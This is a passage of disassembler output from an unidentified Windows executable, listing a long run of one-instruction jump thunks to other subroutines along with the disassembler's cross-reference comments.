		jmp	sub_431470
sub_401762	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFF4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E80+5Fp
		jmp	sub_419110
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401771	proc near		; CODE XREF: ___:0041896Cp
		jmp	sub_418590
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00416DE3p ...
		jmp	sub_416DC0
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417E30
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416F9Ap
		jmp	sub_418360
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: ___:004292B3p sub_429310j ...
		jmp	sub_4291E0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BCBp
					; ___:00416D93p ...
		jmp	sub_416D60
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF60+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF80+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404CC0
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B234j ...
		jmp	sub_417A60
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416220+11p
					; ___:00416247p ...
		jmp	sub_4167F0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A10+3p
					; ___:0041626Fp ...
		jmp	sub_4164A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_415600+6Ap
					; sub_416030+32p
		jmp	sub_415F70
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_404010+3Fp ...
		jmp	sub_40A800
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2F0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_4068E0+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E760+FFp
					; sub_41E760+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1F0+7p
		jmp	sub_40A210
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B510+76p
		jmp	sub_40B470
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_445434o
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E760+18Ep
					; ___:0043C483j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416EDFp
		jmp	sub_417EF0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E760+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427990+90p
		jmp	sub_427C50
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF20+3p
					; ___:0040BFEFp ...
		jmp	sub_40C160
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413251p
		jmp	sub_415770
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAB1p
					; ___:0040BB78p ...
		jmp	sub_412B70
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416460+7p
		jmp	sub_416840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_418430+34p
		jmp	sub_404C70
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C20
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420630+152p
		jmp	sub_4208A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B110+3p ...
		jmp	sub_41B140
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B26Cj ...
		jmp	sub_416E10
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_410030+217p
					; sub_41FE90+4Cp ...
		jmp	sub_41FE50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AD90+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B5B0+DDp
		jmp	sub_41AE30
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414295p
					; sub_414E10+1B2p
		jmp	sub_413E70
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_4120B0+1B6p
		jmp	sub_40A1F0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E760+5ABp
		jmp	sub_4204D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9F0+14p
		jmp	sub_40ACA0
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135E0+B4p
					; ___:00414C60p ...
		jmp	sub_415710
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B060
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F90+5Fp
		jmp	sub_419130
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B9Bp
					; ___:0043B226j ...
		jmp	sub_4179F0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E760+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42ACB0
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_4134A0+43p
					; sub_4148A0+4Fp ...
		jmp	sub_415820
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B470+6Dp
		jmp	sub_40BE70
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409530+13p
		jmp	sub_409660
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B110
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F068o
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413C01p
		jmp	sub_413A80
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413263p
					; sub_4132F0+32p
		jmp	sub_4155B0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C4Bp
					; ___:0043B18Cj ...
		jmp	sub_417120
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420F10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404CC0+283p
					; sub_40EE40+D2p ...
		jmp	sub_40F060
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404CC0+BF1p
		jmp	sub_406730
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FD00+39o
		jmp	loc_41FC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC86p
					; ___:0041AD66p
		jmp	sub_41A990
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419320
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_4119E0+2Ep
					; sub_411BE0+3p
		jmp	sub_411B20
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E760+F5p
					; sub_41E760+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409530+4p
					; sub_4096E0+1Fp ...
		jmp	sub_4095E0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B10
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F960+20p
					; sub_42AD90+37p
		jmp	sub_41FF50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135E0+4Ap
					; ___:00414C0Fp ...
		jmp	sub_415500
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A510+A8p
		jmp	sub_40A930
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC90+41p
		jmp	sub_40CF40
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A870+Dp
					; sub_40AAD0+91p
		jmp	sub_40A9F0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_404010+2Cp
					; ___:0040408Fp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F050o
		jmp	sub_416D30
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B709p
					; ___:0040BB26p ...
		jmp	sub_40B600
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_410030+AF4p
					; sub_410030+E6Ap
		jmp	sub_411BE0
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_4145A0+CEp
		jmp	sub_414710
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_40B190
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133B0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E760+477p
		jmp	sub_4201F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411C10
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4292B0
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BDBp
					; sub_416D30+3p ...
		jmp	sub_416D00
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420E00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F9Fp
					; ___:00413054p ...
		jmp	sub_404690
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409530+1Ap
					; sub_409610+4p ...
		jmp	sub_4095A0
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_40FE40
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427990
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415BA0+1Ep
		jmp	sub_416650
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138B0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A70+3p
		jmp	sub_414AA0
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:00408299p
					; ___:0040872Ap
		jmp	sub_409570
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D930+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420630+191p
					; sub_4228C0+3p ...
		jmp	sub_4208C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418200
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404CC0+40Cp ...
		jmp	sub_40A780
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D930+2FFp
					; sub_41F030+52Fp
		jmp	sub_41FE90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415570+1Fp
		jmp	sub_415ED0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F50+Fp ...
		jmp	sub_409E80
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_4120B0
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FC33o
		jmp	sub_41FB90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403F30+2Bp
					; sub_403F30+3Bp ...
		jmp	sub_403D60
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135E0+66p
					; sub_4135E0+CAp ...
		jmp	sub_415740
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C2Bp
					; ___:0043B1A8j ...
		jmp	sub_40B250
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421864p
					; ___:0042189Ep
		jmp	sub_4216D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404C30+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:0041700Fp
		jmp	sub_418A00
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBD0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_4170B0+28p
		jmp	sub_418990
sub_401B1D	endp

; ---------------------------------------------------------------------------
		jmp	loc_432D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: sub_431240+Bp
		jmp	sub_4316C0
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

